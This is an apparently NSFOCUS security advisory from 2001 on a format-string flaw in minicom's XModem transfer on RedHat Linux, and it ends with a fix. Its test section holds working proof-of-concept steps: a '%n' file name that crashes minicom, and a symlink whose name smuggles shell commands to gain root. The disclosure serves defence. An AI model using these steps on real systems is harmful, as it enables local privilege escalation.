安全研究
安全漏洞
Linux Minicom XModem 格式串漏洞
发布日期：2001-05-18
更新日期：2001-05-18
受影响系统：
描述：
minicom minicom 1.83.1
minicom minicom 1.83.0
- RedHat Linux 7.0
- RedHat Linux 6.x
- RedHat Linux 5.2
BUGTRAQ ID : 2681
CVE ID :
Minicom是一个串口通信工具，常常可以简化UNIX主机的拨号连接过程。很多流行
的UNIX系统都带有这个程序。
这个程序存在一个安全问题，如果试图通过xmodem来传送一个文件，而这个文件的
文件名中包含格式串时，将发生格式串溢出漏洞。
本地用户可能利用这个漏洞获取sgid uucp权限。利用其他的漏洞，攻击者可以获
取本地root权限。
<*来源：zenith parsec (zenith_parsec@the-astronaut.com） *>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
zenith parsec (zenith_parsec@the-astronaut.com）提供了下列
测试方法：
[root@clarity src]# whatis minicom
minicom (1) - friendly serial communication program
[root@clarity /root]# rpm -qf `which minicom`
minicom-1.83.1-4
[root@clarity src]# ll `which minicom`
-rwxr-sr-x 1 root uucp 171452 Jan 30 05:54 /usr/bin/minicom*
[root@clarity src]# cd /usr/src/redhat/SOURCES/minicom-1.83.1/src
[root@clarity src]# grep do_log common.c|grep -v "%"
common.c: * void do_log(char *) - write a line to the logfile
common.c: * 27.10.98 jl converted do_log to use stdarg
common.c:void do_log(char *line, ...)
common.c:void do_log(char *line, ...)
[root@clarity src]# grep do_log updown.c
do_log(cmdline); /* jl 22.06.97 */
do_log (trimbuf);
do_log(trimbuf);
do_log (trimbuf);
<should be:
do_log("%s",cmdline); /* jl 22.06.97 */
do_log ("%s",trimbuf);
do_log("%s",trimbuf);
do_log ("%s",trimbuf);
and others are spread through the code that I haven't checked, but
should probably be fixed.>
<updown.c contains the code for the uploading and downloading of files.
cmdline contains the command that it executes to upload and download
files. Part of the command is of course the filename.>
[root@clarity src]# touch ~/%n
[root@clarity src]# ll ~/%n
-rw-r--r-- 1 root root 0 Apr 11 11:26 /root/%n
<Using root to demonstrate problem so i can gdb the sgid program.>
[root@clarity src]# gdb minicom
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) r
Starting program: /usr/bin/minicom
minicom: WARNING: please don't run minicom as root when not maintaining
it (with the -s switch) since all changes to the
configuration will be GLOBAL !.
<Screen clears... initializing modem message...>
Welcome to minicom 1.83.1
OPTIONS: History Buffer, F-key Macros, Search History Buffer, I18n
Compiled on Aug 24 2000, 10:09:47.
Press CTRL-A Z for help on special keys
<press ^A S ,select xmodem, then move the cursor down to %n, press
space to tag it and then press return...>
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x400b7a17 in _IO_vfprintf (s=0x8080a60,
format=0xbffff2c0 "/usr/bin/sx -vv %n", ap=0xbffff248)
at ../sysdeps/i386/i486/bits/string.h:539
539 ../sysdeps/i386/i486/bits/string.h: No such file or directory.
(gdb) q
sh-2.04$ id
uid=10(uucp) gid=14(uucp) groups=14(uucp)
sh-2.04$ ln -s "/usr/share/man/man1/ls.1.gz;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.;getroot;echo .1.gz" /var/lock/makewhatis.lock
sh-2.04$ ls -al
total 16
drwxrwxr-x 4 root uucp 4096 Apr 11 11:41 .
drwxr-xr-x 19 root root 4096 Apr 5 02:35 ..
drwxr-xr-x 2 root root 4096 Apr 9 13:16 console
lrwxrwxrwx 1 uucp uucp 91 Apr 11 11:41 makewhatis.lock -> /usr/share/man/man1/ls.1.gz;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.;getroot;echo .1.gz
drwxrwxr-x 2 root root 4096 Apr 7 12:10 subsys
建议：
NSFOCUS建议您将minicom的sgid属性去掉：
chmod g-s `which minicom`
浏览次数：4074
严重程度：0（网友投票）
绿盟科技给您安全的保障